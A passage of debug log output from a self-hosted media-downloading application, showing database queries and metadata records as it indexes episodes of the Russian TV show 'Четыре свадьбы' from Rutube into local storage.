"media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:50.223 [debug] QUERY OK source="media_items" db=0.4ms idle=222.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [48] 14:35:50.223 [debug] Current batch of media processed. Will check again in 1000ms 14:35:51.224 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "В специальном выпуске программы «Четыре свадьбы» мы вспомним яркие моменты мероприятий 112 невест. Самые красивые платья, шикарные банкеты и невероятные истории любви… А также неуместные свадебные подарки и дурацкие конкурсы! Всё это покажет программа «Четыре свадьбы».", "duration" => 5965, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e060100 - Свадебный марафон.mp4", "id" => "5c4cfa7025c997f31adb3156e1e0db18", "original_url" => "https://rutube.ru/video/5c4cfa7025c997f31adb3156e1e0db18/", "playlist_index" => 56, "timestamp" => 1685635213, "title" => "Свадебный марафон", "upload_date" => "20230601"} 14:35:51.225 [debug] QUERY OK source="sources" db=0.8ms idle=1018.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:51.227 [debug] QUERY OK source="sources" db=0.3ms idle=1006.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:51.229 [debug] QUERY OK source="media_items" db=0.8ms idle=1005.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-01 16:00:13Z], 1] 14:35:51.453 [debug] QUERY OK source="media_items" db=222.9ms queue=0.3ms idle=1006.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В специальном выпуске программы «Четыре свадьбы» мы вспомним яркие моменты мероприятий 112 невест. Самые красивые платья, шикарные банкеты и невероятные истории любви… А также неуместные свадебные подарки и дурацкие конкурсы! Всё это покажет программа «Четыре свадьбы».", "Свадебный марафон", "7af6eccf-a215-4ee5-9c3a-604d98c21d0c", "5c4cfa7025c997f31adb3156e1e0db18", 5965, false, "https://rutube.ru/video/5c4cfa7025c997f31adb3156e1e0db18/", 56, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e060100 - Свадебный марафон.mp4", false, false, false, 1, [], 1, ~U[2023-06-01 16:00:13Z], ~U[2025-12-09 11:35:51Z], ~U[2025-12-09 11:35:51Z], "В специальном выпуске программы «Четыре свадьбы» мы вспомним яркие моменты мероприятий 112 невест. Самые красивые платья, шикарные банкеты и невероятные истории любви… А также неуместные свадебные подарки и дурацкие конкурсы! Всё это покажет программа «Четыре свадьбы».", "Свадебный марафон", "5c4cfa7025c997f31adb3156e1e0db18", 5965, false, "https://rutube.ru/video/5c4cfa7025c997f31adb3156e1e0db18/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e060100 - Свадебный марафон.mp4", false, 1, ~U[2023-06-01 16:00:13Z]] 14:35:51.469 [debug] QUERY OK source="sources" db=13.6ms queue=0.1ms idle=229.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:51.472 [debug] QUERY OK source="media_profiles" db=2.6ms queue=0.8ms idle=241.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:51.477 [debug] QUERY OK source="media_items" db=2.3ms idle=245.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [49] 14:35:51.478 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Каждая из четырёх невест готова показать свою свадьбу мечты. У Софьи из Воскресенского будет классическая свадьба с элементами деревенского стиля. Наталья из Балашова на свою свадьбу в стиле инь-ян позовёт трёх медведей. Алина из Красноярска попробует впечатлить конкуренток сказочным торжеством в замке. А Татьяна из Нижнего Тагила устроит свадьбу-маскарад. Чьё мероприятие станет лучшим, увидим в программе «Четыре свадьбы».", "duration" => 5630, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e090700 - Деревенская свадьба VS Свадьба в замке.mp4", "id" => "50ded7a60f6e84f144096c5140818b88", "original_url" => "https://rutube.ru/video/50ded7a60f6e84f144096c5140818b88/", "playlist_index" => 57, "timestamp" => 1694095809, "title" => "Деревенская свадьба VS Свадьба в замке", "upload_date" => "20230907"} 14:35:51.482 [debug] QUERY OK source="sources" db=2.4ms queue=0.7ms idle=226.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:51.486 [debug] QUERY OK source="sources" db=1.8ms queue=0.3ms idle=31.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:51.490 [debug] QUERY OK source="media_items" db=2.6ms queue=0.2ms idle=18.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-07 14:10:09Z], 1] 14:35:52.104 [debug] QUERY OK source="media_items" db=612.1ms idle=18.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Каждая из четырёх невест готова показать свою свадьбу мечты. У Софьи из Воскресенского будет классическая свадьба с элементами деревенского стиля. Наталья из Балашова на свою свадьбу в стиле инь-ян позовёт трёх медведей. Алина из Красноярска попробует впечатлить конкуренток сказочным торжеством в замке. А Татьяна из Нижнего Тагила устроит свадьбу-маскарад. Чьё мероприятие станет лучшим, увидим в программе «Четыре свадьбы».", "Деревенская свадьба VS Свадьба в замке", "6888c3a4-a48b-4fe7-954e-42bf3bca55c5", "50ded7a60f6e84f144096c5140818b88", 5630, false, "https://rutube.ru/video/50ded7a60f6e84f144096c5140818b88/", 57, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e090700 - Деревенская свадьба VS Свадьба в замке.mp4", false, false, false, 1, [], 1, ~U[2023-09-07 14:10:09Z], ~U[2025-12-09 11:35:51Z], ~U[2025-12-09 11:35:51Z], "Каждая из четырёх невест готова показать свою свадьбу мечты. У Софьи из Воскресенского будет классическая свадьба с элементами деревенского стиля. Наталья из Балашова на свою свадьбу в стиле инь-ян позовёт трёх медведей. Алина из Красноярска попробует впечатлить конкуренток сказочным торжеством в замке. А Татьяна из Нижнего Тагила устроит свадьбу-маскарад. Чьё мероприятие станет лучшим, увидим в программе «Четыре свадьбы».", "Деревенская свадьба VS Свадьба в замке", "50ded7a60f6e84f144096c5140818b88", 5630, false, "https://rutube.ru/video/50ded7a60f6e84f144096c5140818b88/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e090700 - Деревенская свадьба VS Свадьба в замке.mp4", false, 1, ~U[2023-09-07 14:10:09Z]] 14:35:52.113 [debug] QUERY OK source="sources" db=7.4ms queue=0.1ms idle=628.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:52.114 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.6ms idle=631.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:52.115 [debug] QUERY OK source="media_items" db=0.7ms idle=628.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [50] 14:35:52.116 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре невесты устроят баттл московских свадеб. Ксения и её жених Даниил пообещают удивить необычным появлением молодых. У Полины и Алексея будет свадьба в студенческом стиле. Ирина и Виктор используют в своей свадьбе авиационную тематику. А Ксения и Александр пригласят на свою свадьбу в стиле «бельгийский лес». Кто победит, узнаем из программы «Четыре свадьбы».", "duration" => 6048, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e091400 - Студенческая свадьба VS Авиационная свадьба.mp4", "id" => "95a40e9d93bab9855b0e8603a68205f4", "original_url" => "https://rutube.ru/video/95a40e9d93bab9855b0e8603a68205f4/", "playlist_index" => 58, "timestamp" => 1694700015, "title" => "Студенческая свадьба VS Авиационная свадьба", "upload_date" => "20230914"} 14:35:52.117 [debug] QUERY OK source="sources" db=0.7ms idle=626.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:52.120 [debug] QUERY OK source="sources" db=1.7ms idle=14.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:52.121 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=7.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-14 14:00:15Z], 1] 14:35:52.183 [debug] QUERY OK source="media_items" db=60.6ms queue=0.1ms idle=7.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты устроят баттл московских свадеб. Ксения и её жених Даниил пообещают удивить необычным появлением молодых. У Полины и Алексея будет свадьба в студенческом стиле. Ирина и Виктор используют в своей свадьбе авиационную тематику. А Ксения и Александр пригласят на свою свадьбу в стиле «бельгийский лес». Кто победит, узнаем из программы «Четыре свадьбы».", "Студенческая свадьба VS Авиационная свадьба", "3403f0f8-49b5-44b8-8227-2e4c24db01d0", "95a40e9d93bab9855b0e8603a68205f4", 6048, false, "https://rutube.ru/video/95a40e9d93bab9855b0e8603a68205f4/", 58, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e091400 - Студенческая свадьба VS Авиационная свадьба.mp4", false, false, false, 1, [], 1, ~U[2023-09-14 14:00:15Z], ~U[2025-12-09 11:35:52Z], ~U[2025-12-09 11:35:52Z], "Четыре невесты устроят баттл московских свадеб. Ксения и её жених Даниил пообещают удивить необычным появлением молодых. У Полины и Алексея будет свадьба в студенческом стиле. Ирина и Виктор используют в своей свадьбе авиационную тематику. А Ксения и Александр пригласят на свою свадьбу в стиле «бельгийский лес». Кто победит, узнаем из программы «Четыре свадьбы».", "Студенческая свадьба VS Авиационная свадьба", "95a40e9d93bab9855b0e8603a68205f4", 6048, false, "https://rutube.ru/video/95a40e9d93bab9855b0e8603a68205f4/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e091400 - Студенческая свадьба VS Авиационная свадьба.mp4", false, 1, ~U[2023-09-14 14:00:15Z]] 14:35:52.185 [debug] QUERY OK source="sources" db=1.7ms queue=0.1ms idle=68.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:52.186 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=68.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:52.188 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=67.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [51] 14:35:52.189 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Противостояние четырёх невест начинается! У Кристины из Москвы будет свадьба в стиле рустик, а фишкой мероприятия станет подарок для конкуренток. Анастасия из Курска пригласит участниц на свою русско-купеческую свадьбу. Мероприятие Марии из Курска пройдёт в стиле «Голливуд». А на свадьбе Марины из Москвы гостей будут развлекать игрой «квиз». Кто победит, узнаем из программы «Четыре свадьбы».", "duration" => 5683, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e101700 - Дворянская свадьба VS Свадьба в стиле Голливуд.mp4", "id" => "37a8e0343e5d12965f082464a560b1b0", "original_url" => "https://rutube.ru/video/37a8e0343e5d12965f082464a560b1b0/", "playlist_index" => 59, "timestamp" => 1697551216, "title" => "Дворянская свадьба VS Свадьба в стиле Голливуд", "upload_date" => "20231017"} 14:35:52.191 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=68.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:52.191 [debug] QUERY OK source="sources" db=0.3ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:52.192 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=6.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-17 14:00:16Z], 1] 14:35:52.218 [debug] QUERY OK source="media_items" db=24.8ms idle=6.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Противостояние четырёх невест начинается! У Кристины из Москвы будет свадьба в стиле рустик, а фишкой мероприятия станет подарок для конкуренток. Анастасия из Курска пригласит участниц на свою русско-купеческую свадьбу. Мероприятие Марии из Курска пройдёт в стиле «Голливуд». А на свадьбе Марины из Москвы гостей будут развлекать игрой «квиз». Кто победит, узнаем из программы «Четыре свадьбы».", "Дворянская свадьба VS Свадьба в стиле Голливуд", "953d93b9-dc5c-4cbc-be2b-702f0e9c86d3", "37a8e0343e5d12965f082464a560b1b0", 5683, false, "https://rutube.ru/video/37a8e0343e5d12965f082464a560b1b0/", 59, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e101700 - Дворянская свадьба VS Свадьба в стиле Голливуд.mp4", false, false, false, 1, [], 1, ~U[2023-10-17 14:00:16Z], ~U[2025-12-09 11:35:52Z], ~U[2025-12-09 11:35:52Z], "Противостояние четырёх невест начинается! У Кристины из Москвы будет свадьба в стиле рустик, а фишкой мероприятия станет подарок для конкуренток. Анастасия из Курска пригласит участниц на свою русско-купеческую свадьбу. Мероприятие Марии из Курска пройдёт в стиле «Голливуд». А на свадьбе Марины из Москвы гостей будут развлекать игрой «квиз». Кто победит, узнаем из программы «Четыре свадьбы».", "Дворянская свадьба VS Свадьба в стиле Голливуд", "37a8e0343e5d12965f082464a560b1b0", 5683, false, "https://rutube.ru/video/37a8e0343e5d12965f082464a560b1b0/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e101700 - Дворянская свадьба VS Свадьба в стиле Голливуд.mp4", false, 1, ~U[2023-10-17 14:00:16Z]] 14:35:52.220 [debug] QUERY OK source="sources" db=1.8ms idle=30.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:52.222 [debug] QUERY OK source="media_profiles" db=0.8ms idle=30.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:52.223 [debug] QUERY OK source="media_items" db=1.2ms idle=30.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN 